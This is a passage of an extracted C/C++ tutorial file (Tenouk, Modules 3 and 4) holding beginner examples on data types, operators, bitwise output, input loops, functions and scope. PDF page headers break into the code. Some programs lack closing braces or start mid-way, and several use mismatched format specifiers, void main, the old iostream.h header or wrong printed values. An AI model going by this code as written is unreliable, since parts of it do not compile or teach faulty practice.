printf("Character Integer Hexadecimal Octal\n");


while(getchar() != EOF)
{
printf(" %c %d %x %o\n",num,num,num,num);
++num;
}
return 0;
}

---------------------------------------------------------------------------------------------------

/*Another data type program example*/


#include <stdio.h>

/*main function*/
int main()
{
/*declare and initialized variables*/
int p = 2000; /*positive integer data type*/
short int q = -120; /*variation*/
unsigned short int r = 121; /*variation*/
float s = 21.566578; /*float data type*/
char t = 'r'; /*char data type*/
long u = 5678; /*long positive integer data type*/
unsigned long v = 5678; /*variation*/
long w = -5678; /*-ve long integer data type*/
int x = -171; /*-ve integer data type*/
short y = -71; /*short -ve integer data type*/
unsigned short z = 99; /*variation*/
double a = 88.12345; /*double float data type*/
float b = -3.245823; /*float data type*/

printf("\t--Data type again--\n");


printf("\t-------------------\n");
printf("\n1. \"int\" sample: \t\t %d, the data size: %d bytes", p, sizeof(p));
printf("\n2. \"short\" int sample: \t %d, the data size: %d bytes", q, sizeof(q));
printf("\n3. \"unsigned short int\" sample: %d, the data size: %d bytes", r, sizeof(r));
printf("\n4. \"float\" sample: \t\t %.7f, the data size: %d bytes", s, sizeof(s));

file:///C|/Tutorial.txt (28 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

printf("\n5. \"char\" sample: \t\t %c, the data size: %d byte", t, sizeof(t));
printf("\n6. \"long\" sample: \t\t %d, the data size: %d bytes", u, sizeof(u));
printf("\n7. \"unsigned long\" sample: \t %d, the data size: %d bytes", v, sizeof(v));
printf("\n8. negative \"long\" sample: \t %d, the data size: %d bytes", w, sizeof(w));
printf("\n9. negative \"int\" sample: \t %d, the data size: %d bytes", x, sizeof(x));
printf("\n10. negative \"short\" sample: \t %d, the data size: %d bytes", y, sizeof(y));
printf("\n11. unsigned \"short\" sample: \t %d, the data size: %d bytes", z, sizeof(z));
printf("\n12. \"double\" sample: \t\t %.4f, the data size: %d bytes", a, sizeof(a));
printf("\n13. negative \"float\" sample: \t %.5f, the data size: %d bytes\n", b, sizeof(b));
return 0;
}

----------------------------------------------------gcc---------------------------------------------------------

#include <stdio.h>
#include <stdlib.h>

/*convert decimal to binary function*/


void dectobin();

int main()
{
char chs = 'Y';

do
{
dectobin();
printf("Again? Y, others to exit: ");
chs = getchar();
scanf("%c", &chs);
}while ((chs == 'Y') || (chs == 'y'));
return 0;
}

void dectobin()
{
int input;

printf("Enter decimal number: ");


scanf("%d", &input);

if (input < 0)
printf("Enter unsigned decimal!\n");

/*for the mod result*/


int i;
/*count the binary digits*/
int count = 0;
/*storage*/
int binbuff[64];

do
{
/* Modulus 2 to get the remainder of 1 or 0*/
i = input%2;
/* store the element into the array */

file:///C|/Tutorial.txt (29 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

binbuff[count] = i;
/* Divide the input by 2 for binary decrement*/
input = input/2;
/* Count the number of binary digit*/
count++;
/*repeat*/
}while (input > 0);

/*prints the binary digits*/


printf("The binary representation is: ");

do
{
printf("%d", binbuff[count - 1]);
count--;
if(count == 8)
printf(" ");
} while (count > 0);

printf ("\n");
}

=============================MODULE3=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------

file:///C|/Tutorial.txt (30 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================

//Demonstrate unary operators prefix and postfix modes


#include <stdlib.h>
#include <stdio.h>
#include <iostream.h>
int main(){int a, b; a = b = 5; printf("postfix mode and prefix mode example\n"); printf("initial value, a = b = 5\n"); printf("\npostfix
mode, a-- = %d prefix mode, --b = %d", a--, --b);
//Some comment here
printf("\npostfix mode, a-- = %d prefix mode, --b = %d", a--, --b);printf("\npostfix mode, a-- = %d prefix mode, --b = %d", a--, --b);
printf("\npostfix mode, a-- = %d prefix mode, --b = %d", a--, --b);printf("\npostfix mode, a-- = %d prefix mode, --b = %d", a--, --b);
printf("\n");system("pause");return 0;}

--------------------------------------------------------------------------------------------------------------

//Demonstrate unary operators prefix and postfix modes


#include <stdlib.h>
#include <stdio.h>
#include <iostream.h>
int main(){int a, b; a = b = 5; printf("postfix mode and prefix mode example\n"); printf("initial value, a = b = 5\n"); printf("\npostfix
mode, a-- = %d prefix mode, --b = %d", a--, --b);/*Another comment here*/
//Some comment here
printf("\npostfix mode, a-- = %d prefix mode, --b = %d", a--, --b); /*Another comment here*/printf("\npostfix mode, a-- = %d prefix
mode, --b = %d", a--, --b);printf("\npostfix mode, a-- = %d prefix mode, --b = %d", a--, --b);printf("\npostfix mode, a-- = %d prefix
mode, --b = %d", a--, --b);printf("\n");system("pause");return 0;}

-----------------------------------------------------------------------------------------------------------------

//Demonstrate unary operators prefix and postfix modes


#include <stdlib.h>
#include <stdio.h>
#include <iostream.h>

int main()
{
int a, b;
//set a and b both equal to 5

file:///C|/Tutorial.txt (31 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

a = b = 5;
//print them, decrementing each time
//use prefix mode for b, postfix mode for a

printf("postfix mode and prefix mode example\n");


printf("initial value, a = b = 5\n");

printf("\npostfix mode, a-- = %d prefix mode, --b = %d", a--, --b);


printf("\npostfix mode, a-- = %d prefix mode, --b = %d", a--, --b);
printf("\npostfix mode, a-- = %d prefix mode, --b = %d", a--, --b);
printf("\npostfix mode, a-- = %d prefix mode, --b = %d", a--, --b);
printf("\npostfix mode, a-- = %d prefix mode, --b = %d", a--, --b);
printf("\n");

system("pause");
return 0;
}

--------------------------------------------------------------------------------------------------------------

//Format specifier example


#include <stdio.h>
#include <stdlib.h>

int main()
{
printf("My name is %s and I am %d years old.\n", "John", 25);
printf("Examples of the decimal points %f\t%.3f\t%.2f\t\n",1.7885,1.7885,1.7885);
printf("Examples of characters\n");
printf(" %c \n %c \n %c\n", 'A', 'B', 'a');

system("pause");
return 0;
}

--------------------------------------------------------------------------------------------------------------

//Modulus operator example in C version.


//Inputs a number of seconds, and converts to hours, minutes
//and seconds.
#include <stdio.h>
#include <stdlib.h>

//#define preprocessor directive, define constants,


//every occurrence of the SEC_PER_MIN token
//in the program will be replaced with 60
#define SECS_PER_MIN 60
#define SECS_PER_HOUR 3600

int main()
{
unsigned seconds, minutes, hours, secs_left, mins_left;

//Prompting user to input the number of seconds


printf("Enter number of seconds < 65000 : ");

file:///C|/Tutorial.txt (32 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//Read and store the data input by user


scanf("%d", &seconds);

//Do the modulus operation


hours = seconds / SECS_PER_HOUR;
minutes = seconds / SECS_PER_MIN;
mins_left = minutes % SECS_PER_MIN;
secs_left = seconds % SECS_PER_MIN;

//Display the result


printf("%u seconds is equal to ", seconds);
printf("%u hours, %u minutes, and %u seconds\n", hours, mins_left, secs_left);

system("pause");
return 0;
}

--------------------------------------------------------------------------------------------------------------

//Modulus operator example.


//Inputs a number of seconds, and converts to hours,
//minutes and seconds.

#include <iostream.h>
#include <stdlib.h>
//For VC++ .Net use the following processor directives
//comment out the previous #include…
//#include <iostream>
//#include <cstdlib>
//using namespace std;

//Define constants
#define SECS_PER_MIN 60
#define SECS_PER_HOUR 3600

void main()
{
unsigned int seconds, minutes, hours, secs_left, mins_left;

//Prompting user to input the number of seconds


cout<<"Enter number of seconds < 65000 : ";
cin>>seconds;

hours = seconds / SECS_PER_HOUR;


minutes = seconds / SECS_PER_MIN;
mins_left = minutes % SECS_PER_MIN;
secs_left = seconds % SECS_PER_MIN;

cout<<seconds<<" seconds is equal to "<<hours<<" hours, "<<mins_left<<" minutes, "<<secs_left<<" seconds"<<endl;


system("pause");
}

------------------------------------------------------------------------------------------------------------------

//Demonstrate the use of the if statements


#include <stdio.h>

file:///C|/Tutorial.txt (33 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

#include <stdlib.h>

int main ( )
{
int x, y;
//Input the two values to be tested
printf("\nInput an integer value for x: ");
scanf("%d", &x);
printf("Input an integer value for y: ");
scanf("%d", &y);

//Test values and print result


if (x == y)
{
printf("\nx is equal to y");
}

if (x > y)
{
printf("\nx is greater than y");
}

if (x < y)
{
printf("\nx is smaller than y");
}
printf("\n\n");

system("pause");
return 0;
}

-------------------------------------------------------------------------------------------------------------------------

//Demonstrates the use of if-else statement


#include <stdio.h>
#include <stdlib.h>

int main()
{
int x, y;

//Input two values to be tested


printf("\nInput an integer value for x: ");
scanf("%d", &x);
printf("Input an integer value for y: ");
scanf("%d", &y);

//Test values and print result


if (x == y)
{
printf("\nx is equal to y");
}
else
if (x > y)
{

file:///C|/Tutorial.txt (34 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

printf("\nx is greater than y ");


}
else
{
printf("\nx is smaller than y ");
}
printf("\n\n");

system("pause");
return 0;
}

-----------------------------------------------------------------------------------------------------------------

//Demonstrate the evaluation of relational expression


#include <stdio.h>
#include <stdlib.h>

int main()
{
int a;

a = (5 == 5);
//Evalutes to 1, TRUE
printf ("\na = (5 == 5)\n Then a = %d\n", a);

a = (5 != 5);
//Evaluates to 0, FALSE
printf ("\na = (5 != 5)\n Then a = %d\n", a);

a = (12 == 12) + (5 != 1);


//Evaluates to 1 + 1, TRUE
printf("\na = (12 == 12) + (5 != 1)\n Then a = %d\n", a);

system("pause");
return 0;
}

-------------------------------------------------------------------------------------------------------------------

#include <stdio.h>
#include <stdlib.h>

//Initialize variables and note that c is not less than d,


//which is one of the conditions to test for
//therefore the entire expression should be evaluated as false

int main()
{
int a = 5, b = 6, c = 5, d = 1;
int x;

//Evaluate the expression without parentheses


x = a < b || a < c && c < d; //Form 1
printf("Given expression:\n");
printf("x = a < b || a < c && c < d\n");

file:///C|/Tutorial.txt (35 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

printf("Without parentheses the expression evaluates as %d", x);

//Evaluate the expression with parentheses


x = (a < b || a < c) && (c < d); //Form 2
printf("\n\nWith parentheses:\n");
printf("x = (a < b || a < c) && (c < d)\n");
printf("With parentheses the expression evaluates as %d\n", x);

system("pause");
return 0;
}

-----------------------------------------------------------------------------------------------------------------

#include <stdio.h>
#include <stdlib.h>

int main()
{
int a = 3, b = 4;

printf("Initially: a = 3, b = 4\n");
printf("\na += b ---> a = a + b = %d\n",a+=b);
printf("a last value = %d\n",a);
printf("\na *= b ---> a = a * b = %d\n",a*=b);
printf("a last value = %d\n",a);
printf("\na -= b ---> a = a - b = %d\n",a-=b);
printf("a last value = %d\n",a);
printf("\na/=b ---> a = a / b = %d\n",a/=b);
printf("a last value = %d\n",a);
printf("\na-=(b+1)---> a = a - (b + 1) = %d\n",a-=(b+1));
printf("a last value = %d\n",a);

system("pause");
return 0;
}

-----------------------------------------------------------------------------------------------------------------------

#include <stdio.h>
#include <stdlib.h>

int main()
{
int a, b = 4, c= 50;

//here b is less than c, so the statement


//(b>c) is false, then 200 should be assigned
//to a, reflected through the output
a = (b>c) ? 100 : 200;
printf("Given: b = 4, c= 50\n");
printf("The statement:a = (b>c) ? 100 : 200\n");
printf("will be evaluated to a = %d\n", a);

system("pause");
return 0;

file:///C|/Tutorial.txt (36 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

------------------------------------------------------------------------------------------------------------------

//bitwise operators
#include <stdlib.h>
#include <stdio.h>

//function prototype…
void DisplayBits(unsigned);

int main()
{
unsigned p;

printf("Enter an unsigned integer: ");


scanf("%u", &p);

//function call
DisplayBits(p);

return 0;
}

//function definition…
void DisplayBits(unsigned number)
{
unsigned q;
//2 byte, 16 bits position
//operated bit by bit and hide/mask other bits
//using left shift operator
//start with 10000000 00000000
unsigned DisplayMask = 1<<15;

printf("%7u = ", number);


for(q = 1; q < 16; q++)
{
//combining variable number with variable DisplayMask
putchar(number & DisplayMask ? '1':'0');
//number variable is left shifted one bit
number<<= 1;
//separate by 8 bits position (1 byte)
if(q % 8 == 0)
putchar(' ');
}
putchar('\n');

system("pause");
}

----------------------------------------------------------------------------------------------------------------------

//bitwise operators
#include <stdlib.h>
#include <stdio.h>

file:///C|/Tutorial.txt (37 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//function prototype, you will learn later


void BitwiseOp(unsigned int);

int main()
{
unsigned int num1, num2, num3, mask, SetBit;

num1 = 7535;
mask = 1;

printf("The result of ANDing the following numbers\n");


printf("using the bitwise AND, & is\n");
//Display in normal and binary representation
BitwiseOp(num1);
BitwiseOp(mask);
printf(" ------------------------\n");
//function call, bitwise AND operation
BitwiseOp(num1 & mask);

num1 = 15;
SetBit = 241;
printf("\nThe result of inclusive ORing the following numbers\n");
printf("using the bitwise inclusive OR, | is\n");
BitwiseOp(num1);
BitwiseOp(SetBit);
printf(" ------------------------\n");
//function call, bitwise inclusive OR operation
BitwiseOp(num1 | SetBit);

num1 = 249;
num2 = 299;
printf("\nThe result of exclusive ORing the following numbers\n");
printf("using the bitwise exclusive OR, ^ is\n");
BitwiseOp(num1);
BitwiseOp(num2);
printf(" ------------------------\n");
//function call, bitwise exclusive OR operation
BitwiseOp(num1 ^ num2);

num3 = 21321;
printf("\nThe One's complement of\n");
BitwiseOp(num3);
printf(" |||||||| ||||||||\n");
//One's complement operation
//function call, bitwise negate operation
BitwiseOp(~num3);
system("pause");
return 0;
}

//function definition…
void BitwiseOp(unsigned int value)
{
unsigned int p;
//Two 8 bits, 16 position, shift to left
unsigned int DisplayMask = 1 << 15;

file:///C|/Tutorial.txt (38 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

printf("%7u = ", value);

//Loop for all bit...


for(p=1; p<=16; p++)
{
//if TRUE set to '1', otherwise set to '0'
putchar(value & DisplayMask ? '1':'0');
//shift to left bit by bit
//equal to: value << + 1 statement
value <<= 1;

if(p % 8 == 0)
//put a space…
putchar(' ');
}
putchar('\n');
}

-----------------------------------------------------------------------------------------------------------------

//program copying from standard input,


//keyboard to standard output, console
//using pre defined functions
//getchar() and putchar(), defined in
//stdio.h header file
#include <stdio.h>
#include <stdlib.h>

int main()
{
int count;

//gives some prompt...


printf("Enter a line of text:\n");
printf("Press \'S\' to stop.\n");

//get character from standard input


//store in variable count
count = getchar();

//while the S is not encountered...


while(count != 'S')
{
//put character on the standard output
putchar(count);
//carry on getting character from the standard input
count = getchar();
}

system("pause");
return 0;
}

---------------------------------------------------------------------------------------------------------------

file:///C|/Tutorial.txt (39 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//copying from standard input,


//keyboard to standard output, console
//using pre defined functions
//getchar() and putchar() with End Of File, EOF
//EOF is system dependent
#include <stdio.h>
#include <stdlib.h>

int main()
{
int count;

//gives some prompt...


printf("Enter a line of text:\n");
printf("EOF to stop.\n");

//get character from standard input


//store in variable count
count = getchar();

//while the End Of File is not encountered...


while(count != EOF)
{
//put character on the standard output
putchar(count);
//carry on getting character from the standard input
count = getchar();
}

system("pause");
return 0;
}

----------------------------------------------------------------------------------------------------------------

//creating a working program skeleton…


#include <stdio.h>
#include <stdlib.h>

int main()
{
//printf("Some prompt here...\n");

int count, charnum = 0;


while ((count = getchar()) != EOF)
{
if(count != ' ')
++charnum;
}
printf("test the output here...\n");

system("pause");
return 0;
}

---------------------------------------------------------------------------------------------------------------

file:///C|/Tutorial.txt (40 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//Add other functionalities by following the


//simple steps in program development…
#include <stdio.h>
#include <stdlib.h>

int main()
{
//printf("Some prompt here...\n");

//-----In the process: declare and initialize ----------


//-----each variable used------------------------
//-----Third: compile and run----------------
//-----Fourth: If there are errors, recompile and rerun----
//-----Finally, if there is no error, complete other part of-----
//-----the program, such as comments etc-------------
int count, charnum = 0, linenum = 0;

printf("Enter several line of texts.\n");


printf("Press Carriage Return then EOF to end.\n\n");

//-------------First: build the loop-----------


//while storing the character process
//not equal to the End Of File...
while((count = getchar()) != EOF)
{
//do the character count
if(count != ' ')
++charnum;
//and the line count...
if(count == '\n')
{
++linenum;
charnum = charnum -1;
}
}
//----------Second: test the output---------------
printf("The number of line = %d\n", linenum);
printf("The number of char = %d\n", charnum);

system("pause");
return 0;
}

------------------------------------------------VC++/VC++ .Net----------------------------------------------------------

//Add other functionalities by following the


//simple steps in program development…
#include <cstdio>

int main()
{
//printf("Some prompt here...\n");

//-----In the process: declare and initialize ----------


//-----each variable used------------------------

file:///C|/Tutorial.txt (41 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//-----Third: compile and run----------------


//-----Fourth: If there are errors, recompile and rerun----
//-----Finally, if there is no error, complete other part of-----
//-----the program, such as comments etc-------------
int count, charnum = 0, linenum = 0;

printf("Enter several line of texts.\n");


printf("Press Carriage Return then EOF to end.\n\n");

//-------------First: build the loop-----------


//while storing the character process
//not equal to the End Of File...
while((count = getchar()) != EOF)
{
//do the character count
if(count != ' ')
++charnum;
//and the line count...
if(count == '\n')
{
++linenum;
charnum = charnum -1;
}
}
//----------Second: test the output---------------
printf("The number of line = %d\n", linenum);
printf("The number of char = %d\n", charnum);
return 0;
}

---------------------------------------------------gcc-------------------------------------------------------------

/******-cpoundassig.c-*******/
#include <stdio.h>

int main()
{
int a = 10, b = 20;

printf("Initially: a = 3, b = 4\n");
printf("\na += b ---> a = a + b = %d\n", a+=b);
printf("a last value = %d\n", a);
printf("\na *= b ---> a = a * b = %d\n", a*=b);
printf("a last value = %d\n", a);
printf("\na -= b ---> a = a - b = %d\n", a-=b);
printf("a last value = %d\n", a);
printf("\na/=b ---> a = a / b = %d\n", a/=b);
printf("a last value = %d\n", a);
printf("\na-=(b+1)---> a = a - (b + 1) = %d\n", a-=(b+1));
printf("a last value = %d\n", a);
return 0;
}

-----------------------------------------------------------------------------------------------------------------

/*bitwise operators*/

file:///C|/Tutorial.txt (42 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

/******--bitwise.c--******/
#include <stdio.h>

/*function prototype.*/
void DisplayBits(unsigned);

int main()
{
unsigned p;

printf("Enter an unsigned integer: ");


scanf("%u", &p);

//function call
DisplayBits(p);
return 0;
}

/*function definition.*/
void DisplayBits(unsigned number)
{
unsigned q;
/*2 byte, 16 bits position*/
/*operated bit by bit and hide/mask other bits*/
/*using left shift operator*/
/*start with 10000000 00000000*/
unsigned DisplayMask = 1<<15;

printf("%7u = ", number);


for(q = 1; q < 16; q++)
{
/*combining variable number with variable DisplayMask*/
putchar(number & DisplayMask ? '1':'0');
/*number variable is left shifted one bit*/
number<<= 1;
/*separate by 8 bits position (1 byte)*/
if(q % 8 == 0)
putchar(' ');
}
putchar('\n');
}

=============================MODULE4=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |

file:///C|/Tutorial.txt (43 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================

//Demonstrate a simple function


//header files used to call predefined functions needed in
//this program such as printf()
#include <stdio.h>
#include <stdlib.h>

//function prototype, explained later


long cube(long);

void main()
{
long input, answer;

printf("\n--Calculating cube volume--\n");


printf("Enter a positive integer, for cube side (meter): ");
scanf("%d", &input);

file:///C|/Tutorial.txt (44 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//calling cube function


answer = cube(input);

//%ld is the conversion specifier for a long decimal


//integer, more on this in another Module
printf("\nCube with side %ld meter, is %ld cubic meter.\n", input, answer);

system("pause");
}

//function definition, define what the function will do


long cube(long x)
{
//local scope (to this function) variable
long x_cubed;

//do some calculation


x_cubed = x * x * x;
//return a result to calling program
return x_cubed;
}

--------------------------------------------------------------------------------------------------------------------------

//Demonstration the difference between


//arguments and parameters
//header files, used for predefined functions in the
//standard library
#include <stdio.h>
#include <stdlib.h>

//main() function
void main()
{
float x = 3.5, y = 65.11, z;
float half_of (float);

//In this call, x is the argument to half_of().


z = half_of(x);

printf("The function call statement is z = half_of(x)\n");


printf("where x = 3.5 and y = 65.11...\n\n");
printf("Passing argument x\n");
printf("The value of z = %f \n", z);

//In this call, y is the argument to half_of()


z = half_of(y);

printf("\nPassing argument y\n");


printf("The value of z = %f \n\n", z);

//using predefined function system() in stdlib.h


system("pause");
}

file:///C|/Tutorial.txt (45 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//function definition
float half_of(float k)
{
//k is the parameter. Each time half_of() is called,
//k has the value that was passed as an argument.
return (k/2);
}

-------------------------------------------------------------------------------------------------------------------------

//Using multiple return statements in a function


#include <stdio.h>
#include <stdlib.h>

//Function prototype
int larger_of(int, int);

void main()
{
int x, y, z;

puts("Enter two different integer values,");


puts("separated by space. Then press Enter key: ");
scanf("%d%d", &x, &y);

//function call
z=larger_of(x, y);

printf("\nThe larger value is %d.", z);


printf("\n");
system("pause");
}

//Function definition
int larger_of(int a, int b)
{
//return a or b
if(a > b)
return a;
else
return b;
}

---------------------------------------------------------------------------------------------------------------
//For C++ codes using VC++/VC++ .Net, change the header files accordingly
//#include <iostream>
//#include <cstdlib>
//using namespace std;
#include <iostream.h>
#include <stdlib.h>

//function prototype
void prt(int);

//the main function definition

file:///C|/Tutorial.txt (46 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

int main()
{
//declare an integer variable
int x=12;

//calls prt() and passes/bring along x


prt(x);

cout<<endl;
system("pause");
return 0;
}

//the prt() function definition


void prt(int y)
{
//local variable…
int p = 30;

//value from calling program


cout<<"Value from the calling program..."<<endl;
cout<<"x's value = "<<y<<endl;

//local variable value


cout<<"\nLocal variable value..."<<endl;
cout<<"p's value = "<<p<<endl;

---------------------------------------------------------------------------------------------------------------

//Area of triangle using inline function


#include <iostream.h>
#include <stdlib.h>

//inline function, no need prototype…


inline float triangle_area(float base, float height)
{
float area;
area = (0.5 * base * height);
return area;
}

int main()
{
float b, h, a;
b = 4;
h = 6;

//compiler will substitute


//the inline function code here.
a = triangle_area(b, h);

cout<<"Area = (0.5*base*height)"<<endl;
cout<<"where, base = 4, height = 6"<<endl;

file:///C|/Tutorial.txt (47 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"\nArea = "<<a<<endl;

system("pause");
return 0;
}

-------------------------------------------------------------------------------------------------------------

/*variadic function*/
#include <stdarg.h>
#include <stdio.h>

/*variadic function's prototype, count variable


is the number of arguments*/
int sum_up(int count,...)
{
va_list ap;
int i, sum;
/*Initialize the argument list.*/
va_start (ap, count);

sum = 0;
for (i = 0; i < count; i++)
/*Get the next argument value.*/
sum += va_arg (ap, int);
/*Clean up.*/
va_end (ap);
return sum;
}

int main(void)
{
/*This call prints 6.*/
printf("%d\n", sum_up(2, 2, 4));

/*This call prints 16.*/


printf("%d\n", sum_up(4, 1, 3, 5, 7));
return 0;
}

---------------------------------------------------------------------------------------------------------------

//function skeleton example


//passing by values
#include <iostream.h>
#include <stdlib.h>

//function prototypes and their variations...


//notice and remember these variations...
void FunctOne(void);
double FunctTwo();
int FunctThree(int);
void FunctFour(int);

//main program...
void main()

file:///C|/Tutorial.txt (48 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

{
cout<<"I'm in main()..."<<endl;

//function call, go to FunctOne without


//any argument...
FunctOne();
cout<<"\nBack in main()..."<<endl;

//function call, go to FunctTwo


//without any argument...
double q = FunctTwo();
//display the returned value...
cout<<"The returned value = "<<q<<endl;

//function call, go to FunctThree


//with an argument...
int y = 100;
int x = FunctThree(y);
cout<<"Back in main()..."<<endl;
//display the returned value...
cout<<"Display the returned value = "<<x<<endl;
int r = 50;
FunctFour(r);

system("pause");
return; //return nothing or just omit this 'return;' statement
}

void FunctOne()
{
//do nothing here just display the
//following text...
cout<<"\nNow I'm in FunctOne()!..."<<endl;
cout<<"Receives nothing, return nothing..."<<endl;
//return to main, without any returned value
//return; optional, can put this empty 'return;'
}

double FunctTwo()
{
//receive nothing but do some work here...
double p = 10.123;
cout<<"\nNow I'm in FunctTwo()!\nmay do some work here..."
<<"\nReceives nothing but return something"
<<"\nto the calling function..."<<endl;
//and return something...
return p;
}

int FunctThree(int z)
{
//receive something...do some work...
//and return the something...
int a = z + 100;
cout<<"\nThen, in FunctThree()!..."<<endl;
cout<<"Receive something from calling function\ndo some work here and"

file:///C|/Tutorial.txt (49 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

<<"\nreturn something to the calling function...\n"<<endl;


//then return to main, with return value
return a;
}

void FunctFour(int s)
{
//received something but return nothing...
int r = s - 20;

cout<<"\nNow, in FunctFour()..."<<endl;
cout<<"Received something, but return nothing..."<<endl;
cout<<"The value processed = "<<r<<endl;
//return; optionally can put this empty 'return;'
}

----------------------------------------------------------------------------------------------------------

//demonstrates the use of function prototypes


#include <iostream.h>
#include <stdlib.h>

typedef unsigned short USHORT;


//another method simplifying type identifier using typedef
//the words unsigned short is simplified to USHORT

USHORT FindTheArea(USHORT length, USHORT width);


//function prototype

int main()
{
USHORT lengthOfYard;
USHORT widthOfYard;
USHORT areaOfYard;

cout<< "\nThe wide of your yard(meter)? ";


cin>> widthOfYard;
cout<< "\nThe long of your yard(meter)? ";
cin>> lengthOfYard;

//function call
areaOfYard = FindTheArea(lengthOfYard, widthOfYard);

cout<< "\nYour yard is ";


cout<< areaOfYard;
cout<< " square meter\n\n";
system("pause");
return 0;
}

USHORT FindTheArea(USHORT l, USHORT w)


{
return (l * w);
}

-------------------------------------------------------------------------------------------------------------------

file:///C|/Tutorial.txt (50 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

#include <iostream.h>
#include <stdlib.h>

//function prototype
float Convert(float);

int main()
{
float TempFer;
float TempCel;

cout<<"Please enter the temperature in Fahrenheit: ";


cin>>TempFer;

//function call
TempCel = Convert(TempFer);

cout<<"\n";
cout<<TempFer<<" Fahrenheit = "<<TempCel<<" Celcius"<<endl;

system("pause");
return 0;
}

//function definition
float Convert(float TempFer)
{
//local variable....
float TempCel;

TempCel = ((TempFer - 32) * 5) / 9;


//return the result to the calling program
return TempCel;
}

-------------------------------------------------------------------------------------------------------------

#include <iostream.h>
#include <stdlib.h>

//function prototype
void myFunction();

//global scope variables


int x = 5, y = 7;

int main()
{
cout<<"x = 5, y = 7, global scope\n";
cout<<"\nx within main: "<<x<<"\n";
cout<<"y within main: "<<y<<"\n\n";
cout<<"Then function call....\n";

//function call
myFunction();

file:///C|/Tutorial.txt (51 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<< "Back from myFunction...\n\n";


cout<< "x within main again: "<<x<<"\n";
cout<< "y within main again: "<<y<<"\n\n";

system("pause");
return 0;
}

void myFunction()
{
//local scope variable
int y = 10;

cout<<"\ny = 10, local scope\n"<<"\n";


cout<<"x within myFunction: "<<x<<"\n";
cout<<"y within myFunction: "<<y<<"\n\n";
}

--------------------------------------------------------------------------------------------------------------

//demonstrates variables
//scope within a block
#include <iostream.h>
#include <stdlib.h>

//function prototype
void myFunc();

int main()
{
int x = 5;
cout<<"\nIn main x is: "<<x;

//function call
myFunc();

cout<<"\nBack in main, x is: "<<x<<endl;

system("pause");
return 0;
}

void myFunc()
{
//local scope variable
int x = 8;

cout<<"\nWithin myFunc, local x: "<<x<<endl;


{
cout<<"\nWithin block in myFunc, x is: "<<x;

//Another local variable, within block


int x = 9;
cout<<"\nVery local x: "<<x;
}

file:///C|/Tutorial.txt (52 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"\nOut of block, in myFunc, x: "<<x<<endl;


}

-----------------------------------------------------------------------------------------------------------------

//demonstrates passing by value


//to function
#include <iostream.h>
#include <stdlib.h>

